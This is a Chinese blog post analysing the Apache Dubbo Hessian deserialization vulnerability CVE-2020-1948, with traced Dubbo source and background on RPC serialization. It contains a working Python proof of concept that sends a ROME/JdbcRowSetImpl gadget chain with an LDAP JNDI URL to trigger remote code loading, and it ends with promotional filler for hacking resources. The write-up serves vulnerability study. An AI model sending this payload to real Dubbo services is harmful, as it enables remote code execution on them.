[CVE-2020-1948] Apache Dubbo 反序列化漏洞分析,从零基础到精通,收藏这篇就够了!

[CVE-2020-1948] Apache Dubbo 反序列化漏洞分析
简介

Dubbo 是一款高性能、轻量级的开源 Java RPC 框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。

POC

https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html

影响版本
  • Dubbo 2.7.0 to 2.7.6
  • Dubbo 2.6.0 to 2.6.7
  • Dubbo all 2.5.x versions (not supported by official team any longer)
环境搭建

https://github.com/apache/dubbo-spring-boot-project

下载 2.7.6 版本,用 IDEA 打开 dubbo-spring-boot-samples 文件夹,在provider-sample文件夹下的 pom 里添加:

        `<dependency>                  <groupId>com.rometools</groupId>                  <artifactId>rome</artifactId>                  <version>1.7.0</version>          </dependency>`



maven 开始运行 springboot。

漏洞分析

python 的 poc

`# -*- coding: utf-8 -*- #pip3 install dubbo-py from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClient client = DubboClient('127.0.0.1', 12345) JdbcRowSetImpl=new_object(       'com.sun.rowset.JdbcRowSetImpl',       dataSource="ldap://127.0.0.1:8087/Exploit",       strMatchColumns=["foo"]       ) JdbcRowSetImplClass=new_object(       'java.lang.Class',       name="com.sun.rowset.JdbcRowSetImpl",       ) toStringBean=new_object(       'com.rometools.rome.feed.impl.ToStringBean',       beanClass=JdbcRowSetImplClass,       obj=JdbcRowSetImpl       ) resp = client.send_request_and_return_response(     service_name='cn.rui0',     method_name='rce',     args=[toStringBean])`



发送 poc

`org.apache.dubbo.remoting.RemotingException: Not found exported service: cn.rui0:1.0:12345in [org.apache.dubbo.spring.boot.demo.consumer.DemoService:1.0.0:12345], may be version or group mismatch , channel:consumer:/127.0.0.1:61624 --> provider: /127.0.0.1:12345, message:RpcInvocation [methodName=rce, parameterTypes=[class com.rometools.rome.feed.impl.ToStringBean], arguments=[], attachments={input=294, path=cn.rui0, dubbo=2.5.3, version=1.0}] 	at org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker(DubboProtocol.java:265) ~[dubbo-2.7.6.jar:2.7.6] 	at org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument(CallbackServiceCodec.java:280) ~[dubbo-2.7.6.jar:2.7.6] 	at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:161) [dubbo-2.7.6.jar:2.7.6] 	at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo-2.7.6.jar:2.7.6] 	at org.apache.dubbo.remoting.transport.DecodeHandler.decode(DecodeHandler.java:57) [dubbo-2.7.6.jar:2.7.6] 	at org.apache.dubbo.remoting.transport.DecodeHandler.received(DecodeHandler.java:44) [dubbo-2.7.6.jar:2.7.6] 	at org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(ChannelEventRunnable.java:57) [dubbo-2.7.6.jar:2.7.6] 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) [na:1.8.0_121] 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) [na:1.8.0_121] 	at java.lang.Thread.run(Thread.java:745) [na:1.8.0_121]`



根据报错,其实已经把触发的地方暴露了。

at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo-2.7.6.jar:2.7.6]开始跟。

跟到org\apache\dubbo\rpc\protocol\dubbo\DecodeableRpcInvocation.java139 行, 遇到 in 是 input 的内容,看下这个 readobject 是怎么写的。

public <T> T readObject(Class<T> cls) throws IOException, ClassNotFoundException { return (T) mH2i.readObject(cls); }

mH2i.readObject(cls)继续 readobject,mH2i的内容是

    `public Object readObject(Class cl)             throws IOException {         return readObject(cl, null, null);     }     @Override     public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {         if (expectedClass == null || expectedClass == Object.class)             return readObject();         int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();         switch (tag) {             case 'N':                 return null;             case 'H': {                 Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);                 boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;                 // fix deserialize of short type                 return reader.readMap(this                         , keyValuePair ? expectedTypes[0] : null                         , keyValuePair ? expectedTypes[1] : null);             }             case 'M': {                 String type = readType();                 // hessian/3bb3                 if ("".equals(type)) {                     Deserializer reader;                     reader = findSerializerFactory().getDeserializer(expectedClass);                     return reader.readMap(this);                 } else {                     Deserializer reader;                     reader = findSerializerFactory().getObjectDeserializer(type, expectedClass);                     return reader.readMap(this);                 }             }             case 'C': {                 readObjectDefinition(expectedClass);                 return readObject(expectedClass);             }             case 0x60:             case 0x61:             case 0x62:             case 0x63:             case 0x64:             case 0x65:             case 0x66:             case 0x67:             case 0x68:             case 0x69:             case 0x6a:             case 0x6b:             case 0x6c:             case 0x6d:             case 0x6e:             case 0x6f: {                 int ref = tag - 0x60;                 int size = _classDefs.size();                 if (ref < 0 || size <= ref)                     throw new HessianProtocolException("'" + ref + "' is an unknown class definition");                 ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);                 return readObjectInstance(expectedClass, def);             }             case 'O': {                 int ref = readInt();                 int size = _classDefs.size();                 if (ref < 0 || size <= ref)                     throw new HessianProtocolException("'" + ref + "' is an unknown class definition");                 ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);                 return readObjectInstance(expectedClass, def);             }             case BC_LIST_VARIABLE: {                 String type = readType();                 Deserializer reader;                 reader = findSerializerFactory().getListDeserializer(type, expectedClass);                 Object v = reader.readList(this, -1);                 return v;             }             case BC_LIST_FIXED: {                 String type = readType();                 int length = readInt();                 Deserializer reader;                 reader = findSerializerFactory().getListDeserializer(type, expectedClass);                 boolean valueType = expectedTypes != null && expectedTypes.length == 1;                 Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);                 return v;             }             case 0x70:             case 0x71:             case 0x72:             case 0x73:             case 0x74:             case 0x75:             case 0x76:             case 0x77: {                 int length = tag - 0x70;                 String type = readType();                 Deserializer reader;                 reader = findSerializerFactory().getListDeserializer(null, expectedClass);                 boolean valueType = expectedTypes != null && expectedTypes.length == 1;                 // fix deserialize of short type                 Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);                 return v;             }             case BC_LIST_VARIABLE_UNTYPED: {                 Deserializer reader;                 reader = findSerializerFactory().getListDeserializer(null, expectedClass);                 boolean valueType = expectedTypes != null && expectedTypes.length == 1;                 // fix deserialize of short type                 Object v = reader.readList(this, -1, valueType ? expectedTypes[0] : null);                 return v;             }             case BC_LIST_FIXED_UNTYPED: {                 int length = readInt();                 Deserializer reader;                 reader = findSerializerFactory().getListDeserializer(null, expectedClass);                 boolean valueType = expectedTypes != null && expectedTypes.length == 1;                 // fix deserialize of short type                 Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);                 return v;             }             case 0x78:             case 0x79:             case 0x7a:             case 0x7b:             case 0x7c:             case 0x7d:             case 0x7e:             case 0x7f: {                 int length = tag - 0x78;                 Deserializer reader;                 reader = findSerializerFactory().getListDeserializer(null, expectedClass);                 boolean valueType = expectedTypes != null && expectedTypes.length == 1;                 // fix deserialize of short type                 Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);                 return v;             }             case BC_REF: {                 int ref = readInt();                 return _refs.get(ref);             }         }         if (tag >= 0)             _offset--;         // hessian/3b2i vs hessian/3406         // return readObject();         Object value = findSerializerFactory().getDeserializer(expectedClass).readObject(this);         return value;     }`



来到com\alibaba\com\caucho\hessian\io\Hessian2Input.java 可以看到 class com.rometools.rome.feed.impl.ToStringBean 就是期望类 expectedClass(可以看下 fastjson 期望类),

第二次循环到class java.lang.Class, 跟到com\alibaba\com\caucho\hessian\io\ClassDeserializer.java

    `public Object readObject(AbstractHessianInput in, String[] fieldNames)             throws IOException {         int ref = in.addRef(null);         String name = null;         for (int i = 0; i < fieldNames.length; i++) {             if ("name".equals(fieldNames[i]))                 name = in.readString();             else                 in.readObject();         }         Object value = create(name);         in.setRef(ref, value);         return value;     }`



第三次 com\alibaba\com\caucho\hessian\io\ClassDeserializer.java

dubbo rpc原理

根本原因我们来学习一下 dubbo RPC 的原理。可以参考这篇文章: https://www.jianshu.com/p/93c00a391e09https://blog.youkuaiyun.com/zhuqiuhui/article/details/89463642

dubbo 支持多种序列化方式并且序列化是和协议相对应的。比如:dubbo 协议的 dubbo, hessian2,java,compactedjava,rmi 协议缺省为 java,以及 http 协议的 json 等。

  • dubbo 序列化:阿里尚未开发成熟的高效 java 序列化实现,阿里不建议在生产环境使用它
  • hessian2 序列化:hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化,而是阿里修改过的 hessian lite,它是 dubbo RPC 默认启用的序列化方式
  • json 序列化:目前有两种实现,一种是采用的阿里的 fastjson 库,另一种是采用 dubbo 中自己实现的简单 json 库,但其实现都不是特别成熟,而且 json 这种文本序列化性能一般不如上面两种二进制序列化。
  • java 序列化:主要是采用 JDK 自带的 Java 序列化实现,性能很不理想。

这四种主要序列化方式的性能从上到下依次递减。对于 dubbo RPC 这种追求高性能的远程调用方式来说,实际上只有 1、2 两种高效序列化方式比较般配,而第 1 个 dubbo 序列化由于还不成熟,所以实际只剩下 2 可用,所以 dubbo RPC 默认采用 hessian2 序列化。

但 hessian 是一个比较老的序列化实现了,而且它是跨语言的,所以不是单独针对 java 进行优化的。而 dubbo RPC 实际上完全是一种 Java to Java 的远程调用,其实没有必要采用跨语言的序列化方式(当然肯定也不排斥跨语言的序列化)。

本文使用 mdnice 排版

黑客&网络安全如何学习**

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,之前都是内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!全网独一份,你不可能在网上找到这么专业的教程。

内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,200多G的资源,不用担心学不全。
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要见下图即可前往获取

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

本文转自 https://blog.youkuaiyun.com/A1_3_9_7/article/details/149336442?spm=1001.2014.3001.5502,如有侵权,请联系删除。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值